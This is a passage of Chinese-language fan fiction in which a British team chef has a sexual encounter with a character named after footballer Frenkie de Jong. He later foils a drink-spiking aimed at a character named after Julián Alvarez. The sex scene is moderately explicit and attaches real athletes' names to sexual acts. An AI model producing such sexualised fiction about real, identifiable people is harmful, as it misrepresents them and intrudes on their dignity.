克里奇利听话的把枕头放下,然后掀起了自己的T恤。 趁着克里奇利正把T恤从头上拽下来时,不守规则的德容迅速拿枕头砸向他。 克里奇利挨了一下狠的,才知道德容才不是什么憨厚的树袋熊,而是一只活泼顽劣的小猴子。 打闹这么久都快把他打萎靡了,这小猴子还嘻嘻哈哈的围着他闹,不打屁股是不行了。 他捋了捋被他砸乱了的毛发,一个飞扑就把调皮的小金丝猴压在了身下。 谁料小金丝猴实在是玩心太重,伸爪子挠他痒痒肉。 “哈哈哈…” 两个人又在床上滚来滚去。 这还不算完,尝到甜头的小猴子还想占便宜,大腿一跨就骑在克里奇利的身上,这一坐不要紧,他直接感受到了英国人的霸气。 “下去!” 克里奇利收起笑容,准备做个大人,教育教育这个没边没界只知道玩闹不干正事的幼稚鬼。 他不下去还蹭。 啪的一声,大腿落下五个手指印。 德容瞪圆了眼睛。 又是一下子,这下更重。 德容的笑意慢慢收拢,露出一副你怎么敢打我的委屈表情,接着就被身下的人揪住了衣领。 他被用力拽去那人眼前,原本躺着的人迅速用另一只手支起身子,没有任何缓冲任何余地的四片嘴唇就撞在了一起。 第59章 德容爱玩爱闹像个幼…… 德容爱玩爱闹像个幼稚鬼但其实他很会。 小说看的足够多,性格也奔放,动作尺度也越来越大。 好像很久都没在真人身上实践过一样,一上来就扒住了克里奇利的裤腰。 三下五除二的就坦诚相见了。 看他猴急的不要不要的,连洗个澡的时间都要省了。 克里奇利又把他提起来,搂着他的腰,一个绵长的亲吻他让他放松下来,再抱着他走进浴室。 恒温的水帘落在他们发顶,淫雨般浇湿了和周遭温度一样升温的身体。 德容看着被莱万意淫出众的健美身材,一丝得意又涌了上来。 他没见过只能靠想,而我是真真切切的看到,并且现在还能上手摸。 他把手搭在克里奇利的肩膀上,顺着胸肌腰线摸了下去。 紧接着又扶着他的腿压低了身位。 克里奇利坐了这么久的飞机身体和大脑都有一些倦意,还没等冲个热水澡解解乏就被火急火燎的德容给霸占了。 大白天的这不是明抢吗,就不能温柔一点,前戏很重要,不然跟吃快餐有什么区别,让每一个床伴有最佳的体验是克里奇利不变的口碑也是他的执念。 主要是他心里还有些挣扎和一点点愧疚,真像时间倒退好几年,认识了小版德布劳内的感觉,而他在犹豫要不要这么轻易就霍霍他,万一又栽了怎么办。 下不去迪奥的念头只存在了半秒,就被德容生涩又努力的“告白”给推到了山顶。 但他不想给德容留下一个快男的印象。 等了三周,就这? 这哪是传闻中的七次狼,这不是男科医院第一病症阳早吗? 德布劳内晾了他两周他就压不住了,这可三周了,三周是什么概念,再不炒雄性动物都直了。 “德容。” “嗯?” “Frenkie.” “嗯。” 克里奇利拉起他,他揉了揉被水打湿的眼睛,通红的嘴唇微微张开喘息。 “怎么了?”他急切的问。 “站好。” “是不是我比不上他?” “谁?” “德布劳内啊。” “唔。同志守则第一条,永远不要谈论前任,况且你无需和别人比。” “切。我又不是同志,才不懂你们同志守则。” “那你是?” “bisexual(双性恋)。 “你上一个对象是女人?” “不是。” “是男人。” “也不是。” “什么?”克里奇利听不懂了。 “哈哈,我没怎么处过。” “你是个处?” “嗯。” “这么说的话我也是处,因为我带套。” “你是畜牲吧。” “哈哈哈哈…” 他们互相揉搓泡沫,感受对方体温的同时轻佻的话语也放肆出口。 德容说他是处,克里奇利不太相信,但还是小心翼翼的帮助他慢慢适应自己,因为他在第一眼看到自己时有些微怔的神色确实不太像老油条。 德容有些茫然,害怕,不知所措,好像用了书里写的那些个方法都不太实用。 克里奇利又当了引导者。 他拿着德容的手,教给他一些方法和技巧。 又亲自俯身示范,最后把德容抱到床上给了他真实又刺激的体验。 德容的喉结不受控制的上下滚动,不知道过去了多长时间,直到眸色由蓝色的汪洋变成平静的绿湖,才拖着一声呢喃的尾音害羞的把自己藏进被子里。 …… 两人满足的躺在床上,互相望向对方,忍不住笑。 德容这会才感到羞耻,想起刚才自己各种忙活,每次都在要成功的点上被人制止然后都反馈给了他。 最后还是助攻他又助攻他,把他伺候的一浪高过一浪,最后以帽子戏法收场。 全程那人都没发出一点声音,只有逐渐粗重的呼吸。 “你为什么压抑着,不让我知道你到了呢?”德容侧着头问他。 “隐忍是男人本色。”克里奇利语气轻松下来,只有激动过后胸脯的上下起伏。 “我觉得爆发才是男人高光时刻。”德容的思绪跑到了绿茵场。 “咱俩当然不一样,我在你身后,你只管射门,还要射的精准有力。” “害,我又不是前锋,射门是他们的事。” “没人不害怕你的爆发,德容,你现在是最好的时候,无所不能的时候。”克里奇利的思绪也被他带到了绿茵场。 “你的语气好像在思念某个人,你没有在他最好的时候遇到他,所以有遗憾吗?” “不是,他很好,只是我们不同路。”克里奇林还是没忍住提到了他刚刚结束的恋情。 “噢。”德容抿起嘴巴,不再追问他,听得出他的音色冷了下来。 克里奇利很快就意识到不妥,再心大也不能在小猴子的床上想小猫啊。 再说,小猴子现在急需他投喂,都瘦的像个猴了,不好看,还是刚才那个想法,不好看。 他侧过身来,手搭在德容的瘪瘪的肚子上,轻轻揉了揉,问他,“你饿了吗?” “不饿。这几天都不知道什么是饿。” “你要修仙啊?” “不是,冰箱里有吃的,我知道吃饭。” “唉,真不知道你遇到我之前过的都是什么日子。” 克里奇利把刚才没下完的单结算,又回头亲了亲他,忍着困倦起身去厨房煮饭。 过了一会,食材全部送到。 德容洗着澡的功夫,克里奇利就把全部食材切吧切吧剁吧剁吧扔进了锅里。 炖了一个半小时后,满屋飘香,引的德容肚子咕咕叫,这才觉得饥饿难耐。 “什么时候好啊?好饿。” 德容从茶几上拿了一块饼干刚要放进嘴里,克里奇利就把好饭好菜端上了桌。 德容立刻把饼干丢掉,蹦蹦哒哒的来到餐桌旁,手拄着桌子看着一大盆金色的炖菜。 “这是什么啊?奶白,不,金色的汤汁,噢,鲍鱼,海参,龙虾…” “十全大补汤!” 克里奇利说着就给他盛了一大碗,搭配粒粒分明的泰国香米还有下饭黄灯笼椒。 两人在傍晚时分,一边喝着冰镇啤酒一边吃着热汤菜,别提多带劲了。 酒足饭饱后,德容的脸色在暖光下渐渐变得红润有光泽,他靠在沙发上,两条大长腿交叠放在茶几上。 克里奇利像个主人一样,拍了他脚踝两下,凶他一句,“拿下去!” 他和德容没有壁,就好像认识了很久。 德容一边收脚一边说对不起,接着反应过来,这不是在我家吗,他也太像个daddy了,吃饭时不语,只是一味盛汤,问他这是什么他也不说,就跟保密食谱似的。 香是真的香,怎么还有点热,刚才喝汤出了一身汗,现在还热。 他刚要喝口冰镇啤酒,就被旁边这个大爹给夺过去了。 “饭后不宜再喝酒,喝茶。” 克里奇利给他泡了伯爵红茶,这才开始和他聊天。 “热了吗?我把空调风调大点。”克里奇利说着刚要起身,就被他拉住了胳膊。 “你是不是不太喜欢我?”德容声音透着一丝不安。 克里奇利又坐了下来,“为什么这么说?” “你都不好好亲亲我。” 克里奇利扶额,他一直往自己身下钻,怎么亲啊,再说他不喜欢品尝自己。 “刚才戴帽的是谁,还不满意。”克里奇利伸开胳膊搂过他的肩膀,想了想还是没有亲他,低垂着眼脸看着他白里透红的脸颊,细细的金色绒毛都看的很清楚,这让他不得不又想到某人。 “不是,其实我不太擅长保持一种关系,这是我的缺点我知道,但是我不想改。” “这就是你对我冷漠的理由?你放心好了,我又不缠着你。” “冷漠?我都把劲儿使你身上了,还冷漠。” “你看着温文尔雅,攻击性都放在这件事上了,是你欲求不满。” “好了,你不仅年轻帅气,还很带劲!让我纵欲过度了。” “这还差不多。” 德容虽然玩心很重但他什么都懂,以往没怎么动过真感情,现在想动都动不了,他们没在合适的时间相遇,只是在互相取暖而已,而且下一次取暖还不知道谁先开口。 不过,令德容感到欣慰的是,他已经非常疲惫,却不遗余力的让自己感到愉悦和被温柔以待,除了不和他谈恋爱之外,所有的一切都恰到好处。 * 克里奇利被巴萨重薪留下,反正他暂时也没什么地方可去,而且巴萨的人跟曼城的人差不多,又帅又能打,让他焕发第几春还不说来就来。 树挪死,人挪活。他是这样告诉自己的。 球星一个比一个香。 伺候好他们就是催生一场场赏心悦目的人生大戏,他们给观众带来精彩的比赛和城市的荣耀,给这位帅气的英国大厨带来的可是味觉和灵感的双重激发。 自恋生猛的大中锋,调皮能干的小队长,奶凶有劲的小铁卫,还有武艺十八般的各国各色精干男孩,都可以用美食滋养,用双手和欣赏的目光激发他们一路长歌。 这也是他在西班牙重振旗鼓的又一阵地,得站稳了才行。 新赛季刚一开始,首战瓦伦西亚,德容2分钟破门。 大家一窝蜂的奔过来把他团团围住,庆祝这个赛季开门红。 莱万勒住他的脖子,拍着他胸脯,大声问他,“小队长!吃什么了?这么有劲儿!” 他脑海中浮现那一碗又一碗的金汤海鲜,不,克里奇利说那叫十全大补汤,专门给他熬的。 他吃了一块很香的软骨肉,问克里奇利这是乌鸡肉吗,克里奇利不吱声,让他连着喝了一周,直到他面色红润,眼睛发亮,更有劲儿闹腾了,才告诉他,那不是什么乌鸡肉,是甲鱼。 德容眼珠子差点掉出来,他掐住自己的脖子,好像中毒了一样,一边干呕一边扶住椅背坐下来控诉他,“你这个魔鬼,下毒害我。” “哈哈哈…”克里奇利这几天都快被他逗死了,整天跟喜剧人似的,不是上蹿下跳的开玩笑就是滚床单闹腾,一点不像25.6岁的大小伙子。 这一周的食补算是奏效了。 巴萨迎来了赛季小高潮,凡是吃了十全大补汤的全都进球了! 玄学来到了巴萨,让人不信都不行。 克里奇利名声大臊,成为了西班牙厨房新贵,他的很多食谱都被争相效仿,如蒜蓉生蚝,开边蚕蛹,虎皮鸡爪,葱烧海参…… 很多东西都没人吃,硬是在他手里变成了美味佳肴。 你就闭着眼睛吃吧,别问。 吃了一准开胡。 这不,加维和费尔明吃了两份黑松露蛋炒饭,香的他们一个送了助攻,一个生吃门将。 巴萨的天胡开局羡慕的整个西甲都开始整顿厨房,他们都知道了,拿住一个人,首先要拿住他的胃。 球员的归属感不是训练场,不是核心理念,而是简简单单一顿饭。 这饭说简单它其实并不简单。 克里奇利也不是大罗神仙,给饭菜施了法,他其实懂一点食物相生相克的道理和中医阴阳调和的理论,属于师傅领进门,修行靠个人。 主要是他做饭好吃加上一点个人魅力。他那么漂亮,做的饭也当然漂亮,饭如其人,张力十足。 他懂得用手艺拿住人的胃,用魅力给自己加分。当然,勤奋敬业也是他的加分项,无论在阿森纳曼城还是巴萨,他都把后厨当成是自己的道场,大本营。 球星的转会费和身价需要用表现来对应,他也一样,把球星们一个个养的身强力壮,气色饱满不说,在比赛前后的补给也做到尽心尽力让人挑不出毛病。 他也是幸运,他在哪一个球队哪一个球队的伤病就是最少的,队伍兵强马壮,内部良性竞争,信心自然而然就打上来了。 顺风局让人舒心开阔,巴萨迎来一个又一个事业高潮,仿佛回到了宇宙之队时期,msn再现江湖,引得西甲另一个老伙伴直吹胡子。 这不,24-25赛季巴萨以先声夺人一夺就是十连胜之势,在西甲独领风骚。(dbq我编的,实际中间输了一场,这里是平行世界,作者会吃掉一些比赛结果。还有一些不同时期转会的球星,也可能到处乱安。) 西甲第11轮巴萨客场对阵皇马。 一场好戏即将上演。 克里奇利本来不太关心比赛结果,他只负责车马周转,只要球星们吃得好,心情好,他就值得骄傲。 随着主队的变换,他现在必须成为巴萨的球迷。 不过是一场又一场的梦,醒来继续逍遥。 继续颠大勺。 第60章 这天,克里奇利随巴…… 这天,克里奇利随巴萨来到了马德里。 不知道为什么,他不太喜欢马德里这个地方。 喧闹,繁华,纸醉金迷。 这不是他以前在伦敦夜夜笙歌的标配吗,怎么现在还厌倦了呢。 可能没有那俩聒噪又猥琐的狐朋狗友在他耳边煽风点火,寂寞的孔雀尾巴都懒得开屏了。 主要是皇家马德里有旧人,他一个想见一个不想见,索性都别见了吧。 他没能够做的很好,在库尔图瓦面前也得意不起来,万一碰到了,尴尬的连手都没地方放。 库尔图瓦渣的一批没有底线,他可是渣的连底裤都没有,本来就定不住性,现在连家都定不住,还丢了猫,现在在巴萨还住酒店呢。 伦敦曼城巴塞罗那,他不知道下一个城市会是哪里。 有时候会萌生出一种不想上班的冲动,想自立门户,或者开一个餐厅,以他现在的名气不说客人络绎不绝,也得有不少熟人给他捧场。 但他又不想操心也不想利用人情。他的工作可以让他接触球星,但他不想靠球星来照顾自己生意,那跟白天卖艺晚上卖,身有什么区别。 想着想着,手里的白茶就错发给了本来点了鲜橙汁的德容。 德容刚要喝,却被突然反应过来的克里奇利一把握住了手腕,“别喝,是佩德里的。” “就喝!”德容冲他做了个鬼脸,然后拿走了佩德里的?*? 白茶。 “sorry,白茶被德容拿去了。”克里奇利手里拿着鲜橙汁对佩德里道歉。 佩德里:“你就惯着他吧。” 自己没有惯着他,反而对他有点严厉,总是没好脸色给他,语气也生硬直白,刚才也应该给他道个歉的。 德容也不生气,反而很依赖他。总是趁没人的时候挂在他身上,吸闻他颈间淡淡的薄荷海盐味儿,还调皮的伸出舌尖舔一口,让克里奇利工作中总是分神。 德容就像西班牙的阳光,足够耀眼,总是能吸引着众人的关注,哪怕是一件小事。 德容每次踢完比赛都去讨一份黑松露番茄意面,必须是克里奇利亲自做的,否则就发队长脾气,在工作群里艾特克里奇利,给他的团队提意见。 搞得克里奇利每次都得在比赛前露一面,让他们相信踢赢了就有专属奖励,踢输了也跟着队长沾光,想吃就吃。 这次克里奇利照例在车上为他们准备赛前零食饮料,给他们加油打气,然后早早安排好工作,提前溜了。 他无心看这场轰动全国的国家德比,想给自己放个假,他找了一个小酒馆,打算平静的度过这令人紧张又不安的两个小时。 不沉浸看球就不会为主队担忧,不为主队担忧就不会刻上某个队伍的基因,因为他知道从一个主队切换到另一个主队是多么痛苦的一件事。 他不喜欢马德里也懒得做攻略,随便找了一个小酒馆进去消磨时光,结果一进去就看到超大的屏幕正准备播放今晚异常火爆的国家德比。 躲不了,马德里只要是个公共场所就会有球赛转播,场外不比场内气氛逊色。 这里当然是皇马的主场。 克里奇利感觉走进了敌区,要是被人发现他是巴萨的人,会不会被群起而攻之。 他低头看看自己身上穿了一件花衬衫,红白蓝看不出什么立场,也就放心了。 想到上次在这儿还在为英格兰站队,幸亏对手不是西班牙,那也差点被狡猾的比利时人给捉弄。 所以,低调喝酒,当个局外人就好。 他喝着酒,眼睛也不由自主的看向屏幕,这来来回回的,能淡定的只能是卡皮巴拉。 开场2分钟姆巴佩就获得单刀机会,然而越位在先,惊的克里奇利握了一下手里的水晶杯,手心开始冒汗。 要是在皇马工作是不是就不同心境了呢,他想。 所以,不要给自己安排上主队,这样不利于心脏健康。 亚马尔今天中午刚吃了自己做的培根番茄卷,说进球了还要吃,可是空门不进呀,唉。 这小孩也是叛逆,不会使筷子非要让自己手把手的教他,说他笨,他说你就不能把食物做的好夹一些吗?生气了直接上手抓,抓了一手番茄酱还往克里奇利英俊的脸上抹。 克里奇利只好笑着拿湿纸巾给他擦了,跟6岁小孩似的明明懂事还得让人哄着。 德容把他当daddy,亚马尔把他当mommy. 亚马尔才吃了几个星期他做的饭,就赖上他了,跟那个阿根廷小麋鹿差不多,年轻力壮,精力多的可怕,不同的是,小麋鹿碰壁后懂得收放自如,这匹小黑马却到处乱撞。 克里奇利只好温柔地警告他:“小朋友,你还是找同龄人玩去,哥哥我没耐心看孩子。” 亚马尔不乐意,还是勾着这位高大的后勤人员的肩膀,使着性子告诉他,“我早晚当队长,也在群里给你下任务,看你怎么拒绝我。” 巴萨的人似乎都这么烈性,特别是这个赛季有了德国人的指挥,似乎把进攻和传控做的更具工匠精神,瞧瞧这打法,简直是欧洲直塞天花板。 就这股劲儿,走到场外也是带着一股烈火余烬的味道,把原本传统又固定的餐饮文化给一把火烧了,破釜沉舟般解雇了旧主厨,聘请了英国厨神克里奇利,克里奇利一来就用他那跟玩一样的职业水准征服了一个又一个挑剔的嘴巴。 但是他还是不想承认,自己已经从曼城换了新东家了。曼城,回不去了。 他摇摇头轻啜了一口白兰地,啧了一声真难喝,有股马尿味儿。 接着巴萨就进球了! 亚马尔门前机会没有选择打门而是找到了快马赶来的莱万,后者推射攻入了库尔图瓦的大门。 oh yes !他握了握拳头,在心里不由自主地喊了一声好,就像他一以贯之的隐忍,这时候这地方更要忍,反正这种隐忍所展现的不知是爽还是痛苦。 又没人看他自己在这演戏,想想又觉得好笑,跟德容似的,戏精上身,不分时间场合乱开玩笑。 他在演戏,这里面有人真性情,竟然在莱万进球的时候跳起来了。 这一跳不要紧,立刻引来满场一片球迷的叫骂声。 克里奇利的目光也被那一小块的骚动给吸引,接着他就瞪圆了眼睛。 那个,那个不是阿尔瓦雷斯? 上个赛季还在曼城,而这个赛季已经转会去了马竞的小蜘蛛。 他盯着那个方向好像在确认是不是他熟人,虽然离得不远,但中间好几个人都站起来挡住了他的目光。 正当他起身走过去想要看个究竟时,那人已经离席不见了。 桌上只有他朋友在帮他平复投射过去的凶神恶煞的眼神和难听的叫骂。 这时,人群里忽然有人喊道:“又他爹的进球了!” “啊——!” “我日!!!” 只见莱万奔向角旗区,对着皇马的角旗做出了他的标志性庆祝动作,双手胸前对向击拳。 大家都在目不转睛地看回放,谁知道才两分钟莱万就梅开二度,打了皇马一个措手不及。 当大家的目光都被屏幕吸引的时候,克里奇利无意中看到了那桌的人伸开手掌覆盖在阿尔瓦雷斯的杯子上轻轻晃了晃,好像放了什么东西,因为白色的酒杯立刻涌上来一些细密的气泡,转而又不见了。 一种不好的预感从他心里萌生。 这时,阿尔瓦雷斯回来了,克里奇利看清了,一定不会认错,黑色自来卷梳的很板正,白皮俊俏的脸泛着年轻的光泽,还有一双深邃的墨色眸子,正笑盈盈地走到桌前坐下来。 他对面的朋友替他拿起了酒杯,好像说了一句什么又进球了之类的,引得阿尔瓦雷斯又高高举起了杯子。 接着就被这个朋友给压住了酒杯,并催他快喝别再庆祝了,再引起民愤就没法顺利脱身了。 克里奇利真的有种强烈的预感,这杯酒有问题。 虽然这么多狗血荒谬的剧情在他身上上演,他仍觉得好像有人推着他让他来不及思考,下意识地走上前去。 走到桌前正好有个壮汉经过,克里奇利主动撞了那人肩膀一下,接着顺势向后一歪,说了一句:“嘿,看着点。” 说话的同时,向后寻找支点的右手轻而易举地撞掉了阿尔瓦雷斯正贴近嘴边的酒杯。 酒杯掉在地上摔碎了,阿尔瓦雷斯没有喝到这杯酒。 被撞了一下还被警告的陌生人正要发火,阿尔瓦雷斯的朋友却暴跳如雷,他站起来一把抓住了克里奇利的领子。 克里奇利双手伸开,表示无意和他发生冲突。 那个陌生人看这架势吓了一跳,赶紧走开了。 阿尔瓦雷斯见此也心有蹊跷,至于吗。 他赶紧站起来化解这一场矛盾。 “巴尔克,no!” 克里奇利不动声色的看着面前这个因为一杯酒要打人的巴尔克,更加笃信自己的判断没有错,这家伙一定给阿尔瓦雷斯下了什么东西,现在没得逞迁怒于他。 这时阿尔瓦雷斯认出他来,大叫了一声,“Brian!” “嘿,胡利安!”克里奇利唇角上扬,发出一声好似惊讶的语调,“这么巧!” “你们认识?”巴尔克不解地来回看他们。 “我曼城的同事!”阿尔瓦雷斯对巴尔克说完,就伸手握住了克里奇利递过来的手,两人紧紧拥抱在一起。【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 这时人群出现骚动,…… 这时人群出现骚动,有人大喊一声:“那人是胡利安阿尔瓦雷斯吧!” 接着满场喊起了阿尔瓦雷斯和马竞的呼声,胡利安双手捂住脸,在球迷致敬下,有点害羞又有点骄傲的对着热情奔放的马德里球迷招招手,然后拉着他两个朋友离开了这里。 “咱们换个地方吧!”阿尔瓦雷斯一手抓着一个,好像逃难的似的跑出去。 他的朋友巴尔克埋怨了一声,“我就说咱们在酒店里看球就好,你非要出来,马德里还有认不出你的?” 克里奇利听不懂也不说话。 胡利安也不搭腔,亮晶晶的黑眼珠四处张望,接着很有主意的挎着他们的胳膊走进了另一家小酒馆。 “我说,你就是来挑战你的知名度的。这都是球迷,一会把你围住了我可保护不了你啊。” 那个叫巴尔克的依旧不耐烦的嘟囔着,还用那双狭长的眼睛上下打量旁边这个沉默的男人,心想你怎么还跟着呢,这么不识趣。 克里奇利也不是非要跟他们掺和,但他灵敏的警觉性激起了他的保护欲,他想看看自己的判断有没有错,这个巴尔克到底想对阿尔瓦雷斯做什么。 说真的他和阿尔瓦雷斯不算熟,阿根廷人不爱说英语,又是个i人,一共没说过几句话。 他记得有一次和阿尔瓦雷斯还因为口音问题闹了笑话。 阿尔瓦雷斯看同事们都在点克里奇利做的小甜品,他也凑过去看了半天,克里奇利问e for food?他fortable。 克里奇利愣了半天,笑着给他一个草莓酸奶慕斯,阿尔瓦雷斯也愣了,接着两人尴尬的相视一笑,后面就基本没什么沟通了。 阿尔瓦雷斯不想主动和他不了解的英国本土大帅哥搭讪,因为他有点语言自卑,就连斯通斯这样的暖男绅士他都躲着走,只跟没边没沿儿的鲁本闹得不可开交。 因为葡萄牙语和西班牙语各说各的也能互通个几分。 格拉利什每次来点一份煎饺都带着害羞的小蜘蛛,克里奇利看他一眼,他就眼神躲闪无处安放,一点也不像场上擅长先声夺人好给门将出难题的活力四射的小白男。 后来因为种种原因越来越不爱说话了,但是了解他的人透露出他有在刻苦学英语。 英语学的差不多了,突然接到他乡故知发来的邀请,决定体验一把拿冠军有点系数难度的日子,看看自己是不是冠军体质,主要是一直被喊高估高估的,也想证明一下自己到底有没有被高估。 来了西班牙有老乡,语言又通,简直是如鱼得水,踢了几场进了几个。 但是生活里还是趋于平静,没什么意思,除了和德保罗小西蒙尼有事没事聚聚,其他圈子是一点没涉猎。 对于他这个年纪的,不欢闹怎么行,容易抑郁。 在曼城后期就自测抑郁了,总觉得自己干什么都不行,严重怀疑自己的实力,对瓜迪奥拉的建议是一点也听不进去,还总觉得是瓜迪奥拉看走了眼,他根本不是梅西接班人。 或许换换环境会好一点吧,他也没想那么多,一个人就做了决定。 谁知来到马竞无缝衔接一下子就找到了自信,原来他是会踢球的,好歹是河床出来的,怎么能轻易否定自己呢。 他对河床有着特殊的感情。 所以小师弟巴尔克来马竞谈判,他全程陪同,又带他玩了几天,打算今晚找个地儿看球喝酒放纵一下,结果碰见曼城老同事克里奇利,新鲜又怀旧的感觉一下子丰富了他许久都没敞开的心怀。 他说什么也要尽一下地主之谊,展现一下阿根廷人的热情,顺便考一考自己的英语六级。 “不介意一起吧,Brian?” “反正我也是一个人,还没找到野搭子。”克里奇利撇撇嘴,表示愿意与他同行。 阿尔瓦雷斯眨巴眨巴他纯洁的大眼睛,问了一句什么是“野搭子”? “哈哈,就是临时搭档,一起度过一个美妙夜晚的人。” “他说什么?”巴尔克急着插嘴。 “他说和我们一起喝酒去!”阿尔瓦雷斯搪塞他一句,接着热情的像个本地通一样带着他们继续走。 实际上他也不知道这些酒吧都是什么特点,这些酒吧一条街上的门头看着都差不多。 从他们刚刚接触到走进另一家酒吧找了个私密性好一点的角落坐下,巴尔克的眼睛就没从克里奇利的身上离开过。 但他英语不行,沟通不畅,只是一味警惕的看着他,好像在防着什么。 克里奇利也拿他那审判一样的目光回敬他。 一个20出头的毛头小子,染着一头黄毛,只有发梢是黄色的所以一看就知道,还剃了几道眉峰,脸部轮廓突兀,颧骨很高,眼窝和面颊深陷,整体看上去有些凶。 而且走路摇头晃脑,像个无所事事的街溜子。 克里奇利见的人太多了,形形色色的男人也有这种看着不着调的,但还算规矩,给人下猛料的还没碰到过。 况且他还是个球员,想靠阿尔瓦雷斯上位吗? 正当想着怎么揭穿今晚这家伙的阴谋,阿尔瓦雷斯就开了两瓶啤酒,递给他们一人一瓶,“为了今晚巴萨的胜利,干杯!” 克里奇利笑笑说,“真的是各为其主啊,今晚咱俩是好朋友,下次再遇到你就是敌人了呢。” 阿尔瓦雷斯也笑的很灿烂,胳膊肘怼了他一下,说,“我不介意和对手交朋友,因为你这个对手对我没杀伤力。” “是吗?”克里奇利淡淡一笑,眼尾扫了一眼阿尔瓦雷斯好似未经过世事的容颜,低声说,“那是你还不了解我。” 喝了点酒以后,三个人都有点微醺。 巴尔克黏着阿尔瓦雷斯不知在和他耳语什么,阿尔瓦雷斯只是一个劲儿的推开他,然后说,“不行,这样不好。” 这句话克里奇利是能听懂的,毕竟他家里有阿根廷小鹿狗,整天说哥你不要这个样子,谈个恋爱就跟世界末日一样,这样不好,要往前看。 他每次都很有理的回怼他,我都没教育过你一句,赶紧滚去上班。 所以西语他是不学,但不代表一点不懂。 阿尔瓦雷斯终于被说烦了,起身拉起克里奇利的胳膊,在他耳边说了一句,“Brian,教我跳舞吧。” 克里奇利爽快地点点头。 他们在舞池里也没有跳起来,而是像喝醉了一样互相碰撞。 每次靠近,克里奇利都想问他,这个巴尔克到底什么来头,你和他很熟吗,他有什么需要你帮忙的吗。 但是他从来不好打听别人的事,有时候只是无意掺和,万一搞错了那就不好了,所以他只张了张嘴并没有说出些什么。 接着他看到巴尔克离开座位去了洗手间,他仍像个侦探似的放不下刚才那件事,于是对阿尔瓦雷斯说,“我离开一会,你自己没问题吧。” “嗯,去吧。我在座位等你。” 克里奇利去了洗手间,两人在洗手台再次碰面。 巴尔克依旧用好似试探的眼光打量他。 “怎么了,看我干嘛,心虚?”克里奇利一边洗手,一边语气冷漠地对着镜子里的巴尔克说道。 这句话巴尔克还是能听懂的,他斜着眼睛生气地说,“你少管闲事,hijo de puta.(跟son of bitch同义)” 刚才就动手揪他衣领子,现在又骂脏话,克里奇利就是脾气再好也不能忍受这粗鲁无礼的挑衅。 他反手抓住巴尔克的衣领,把一米八多的小痞子整个人拎起来,扔出去两米远,伴随着砰地一声后背撞在门板上的声音,巴尔克发出一声嚎叫。 二十出头的小年轻一点就着,他随即扑过来要和克里奇利掰扯掰扯。 结果又被克里奇利反手扭在门板上,顺便捏了捏他的衣服口袋,果不其然,捏到了一包类似干燥剂一样的东西。 “我看见了。”克里奇利尽量用他能听懂的英语慢条斯理地开口,“要拿出来吗?” “你……你……”巴尔克开始结巴,并死死捏住了自己的口袋。 “你放开我,我现在就走,别,别告诉胡利安,求你了。” “什么?开玩笑呢,我凭什么放过你。”克里奇利用了些力气,压住他的肩膀。 “我不过是想拜托他明天帮我说句话而已。” “说句话?”克里奇利听不太懂他的表达,但大致明白他的心思。 “我走还不行吗,你到底要压我到什么时候,哎呀!”肩关节扯痛的他呲牙咧嘴。 “哪来的回哪去,你这下三滥的玩意!”他终于松开钳制他的手。 克里奇利不想当好人也不想当坏人,教训他一下得了,但是自己既然遇到了这事,就该提醒胡利安,小心有人利用他。 巴尔克松了松肩膀,抬眼看了看这个温文尔雅连说话都温声温气的男人,没想到他竟然有这么大的力气,想还手的念头一下子低迷了,而且他也失去了叫板的底气。 他到底什么来头,以前在曼城干保镖的吗?看着也不像啊。巴尔克想不明白,他也没机会想明白,只好灰溜溜地逃掉。 克里奇利回去的时候,阿尔瓦雷斯已经准备结账。 当克里奇利准备解释为什么巴尔克没回来时,阿尔瓦雷斯却上前一步抱住了他。 第62章 他带着些许…… 他带着些许醉意实际上并没有喝多少酒,这足以成为比普通朋友多抱一会的理由。 他身高正好与克里奇利的喉结齐平,呼出的热气直往人衬衫领口里钻。 平时和队友抱抱只会抿起嘴巴,脸偏向一边,这次是直面胸怀,因为以前没抱过,没闻过这么好闻的味道,不是酸臭的汗液味儿,而是清冷的海盐薄荷味儿。 这个拥抱带着些许表达欲又充满了期待,然而克里奇利今晚有些木讷,刚解决了一个问号,这又来一个问号,在他印象里,阿尔瓦雷斯始终是个腼腆内向的哑巴小孩,怎么今天还有点神秘兮兮的。 所以,哑巴小孩并没有得到他想要的热忱回应。 “嗯,我们玩个游戏吧。”阿尔瓦雷斯松开手,眼睛闪烁地看着克里奇利的下巴,这个距离还能闻到他的香味。 “好啊。”克里奇利点点头,仍然好奇他怎么不问那个□□的小痞子去哪了。 “真心话大冒险怎么样。” “咱俩玩?” “嗯。害怕了?” “中学时,玩大冒险让我亲一个恐侗的丑八怪我都亲了,有什么害怕的,后来有一次玩真心话有人问我被报复过没,我说那个丑八怪整天对我穷追猛打,搞得我都郁闷了。” “哈哈哈,活该被打。”阿尔瓦雷斯笑话他。 克里奇利挑了挑眉,有些得意的继续说“他是真的追我,天天给我买饮料喝。” “噢——我才不信。”阿尔瓦雷斯笑他臭屁,又微微皱眉,好像想起了什么。 “来吧,就咱俩,剪刀包袱锤吧。” 第一局阿尔瓦雷斯就输了,一连玩了3把,他全输了。 克里奇利让他选,他都选了真心话。 克里奇利说,你要是想找人聊天就直接说,还非得通过输吗,这样不好不好,谁喜欢输啊,是不是。 克里奇利又不知道问什么,他们确实不太熟,怕冒犯了他,那就问问一般都会问的,他想说就说,不想说也没人难为他。 第一个问题问的是你谈了几次恋爱。 他回答3次。 第二个问题谈的男的还是女的。 他犹豫了一下,回答都有。 这让克里奇利感到有些惊喜,看来刚才那个意味深长的抱抱应该不只是朋友之间,他或许也在试探自己。 第三个问题你做过吗。 他脸红着向沙发后背倒去。 “好了,不说算了。喝酒。” “攻受皆可。”他本可以喝酒,却说了一句让克里奇利瞬间口干舌燥的话来。 接着,他就霸气的拢过克里奇利的脖子,凑近了些,在刚要嘴唇碰嘴唇的瞬间改为了贴面礼,但真的亲在了他的面颊上。 微凉,柔软,带着些许醉意,可爱又恶魔般的撩拨起那人本就蜂鸣阵阵的心弦。 “谢谢你,布莱恩。”玩到兴起他突然开口道谢。 “谢什么?”克里奇利不解地端详着他。 他把手机举到克里奇利面前,是一句西语,他只拼出了对不起,我走了,其他的没看懂。 “什么啊,我又不懂西语。” “你不是有个阿根廷弟弟吗,怎么还没学会西语。”阿尔瓦雷斯故作生气。 “我要是早知道来西班牙讨生活,早都学了,不过现在学也晚了。” “不要为你的懒惰找借口,我教你。”阿尔瓦雷斯和他碰了碰杯,说起了自己的一段往事。 “他其实是有些狂热的,我说巴尔克,他突然发短信说他走了,不要找他,没脸见我,我就都明白了。” “其实我们并不是偶然预见的吧,布莱恩,你是故意来捣乱的,那杯酒有问题,我还是太信任他了。” 